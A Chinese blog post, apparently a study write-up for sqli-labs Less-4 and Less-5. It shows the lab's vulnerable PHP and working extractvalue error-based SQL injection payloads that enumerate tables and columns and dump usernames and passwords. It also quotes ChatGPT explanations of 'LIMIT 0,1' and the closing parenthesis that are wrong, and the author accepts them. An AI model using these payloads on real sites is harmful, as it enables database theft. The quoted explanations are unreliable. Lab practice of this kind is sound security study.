第五题和前面几道题明确有不同

第四题源码(只截取了后半部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}

?>

</font> </div></br></br></br><center>
<img src="../images/Less-4.jpg" /></center>
</body>
</html>

第五题源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}
}
else { echo "Please input the ID as parameter with numeric value";}

?>

</font> </div></br></br></br><center>
<img src="../images/Less-5.jpg" /></center>
</body>
</html>

可见,在if(%row)里面

第五题的没有第四题的

1
echo 'Your Login name:'. $row['username'];

只有一句

1
echo 'You are in...........';

所以可见第五题是没回显的

这样的话我们就可以使用报错注入

第一种,(一)、extractvalue报错注入

首先,extractvalue函数的基本格式是

ExtractValue(xml_frag, xpath_expr)

简单来说,第一个就是上传一个xml文档,然后用xpath路径法查找路径

所以这道题上来

1
?id=1'  and (extractvalue(1,concat('~',database())))--+

这里面extractvalue里面是1是为因为这里的节点路径是1,表示根节点。第二个函数表示要连接的字符串,这里是~和database()函数的结果。

然后继续输入

1
?id=1' and (extractvalue(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema = 'security')))) --+

回显

1
XPATH syntax error: '~emails,referers,uagents,users'

证明里面有emails,referers,uagents,users四个库

下一步直接跟之前一样

1
?id=1’and (extractvalue(1,concat(‘~’,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name = ‘users’)))) --+

查看列名

最后就是

1
?id=1' and (extractvalue(1,concat('~',(select concat(username,password) from security.users limit 0,1)))) --+

炸出了

1
XPATH syntax error: '~DumbDumb'

为什么是limit0,1)

chatgpt是这么说的

1
2
3
4
5
6
7
8
9
10
这段代码是一种SQL注入攻击的尝试,它试图从名为security.users的数据库表中获取第一个用户的用户名和密码。在SQL查询中,LIMIT 0,1的作用是限制结果集的行数,其中0表示从第0行开始,1表示只返回一行结果。

因此,这个代码尝试从security.users表中获取第一个用户的用户名和密码,然后将它们连接在一起,用波浪号(~)分隔,然后将这个字符串作为参数传递给extractvalue函数,从而执行SQL注入攻击。
实际上,这段代码中的LIMIT子句的语法是不正确的。在标准的SQL语法中,LIMIT子句应该采用以下形式之一:

LIMIT <count>:返回前count行结果。
LIMIT <offset>, <count>:从偏移量为offset的行开始,返回count行结果。
在这种情况下,LIMIT 0,1的意思是从第一行开始,只返回一行结果。但是,由于语法错误,这个LIMIT子句实际上可能无法正常工作,具体取决于具体的数据库系统。

在任何情况下,这段代码是恶意的,目的是进行SQL注入攻击,因此应该避免在生产环境中使用它。

所以我感觉是不是可以不用)直接limit 0,1

浅浅的试了一下,加成limit(0,1)和limit 0,1都不行

奇怪的语法

1
2
3
在这个SQL注入攻击的语句中,右括号 ) 的作用是结束 LIMIT 子句。这是因为在这个攻击中,攻击者试图向查询中注入一个新的 SQL 子句,以此来控制查询的行为。在这种情况下,攻击者通过在注入语句的结尾添加一个右括号来关闭 LIMIT 子句。

具体来说,攻击者使用 -- 注释符来注释掉原始查询语句中 WHERE 子句之后的所有内容,然后在注释后添加自己的恶意查询语句。通过在恶意查询语句的末尾添加一个右括号来关闭 LIMIT 子句,攻击者就可以确保他们注入的新子句不会与原始查询语句产生语法冲突。

很好,懂了

(这里因为我懒就只用了第一种,等哪天再来填坑)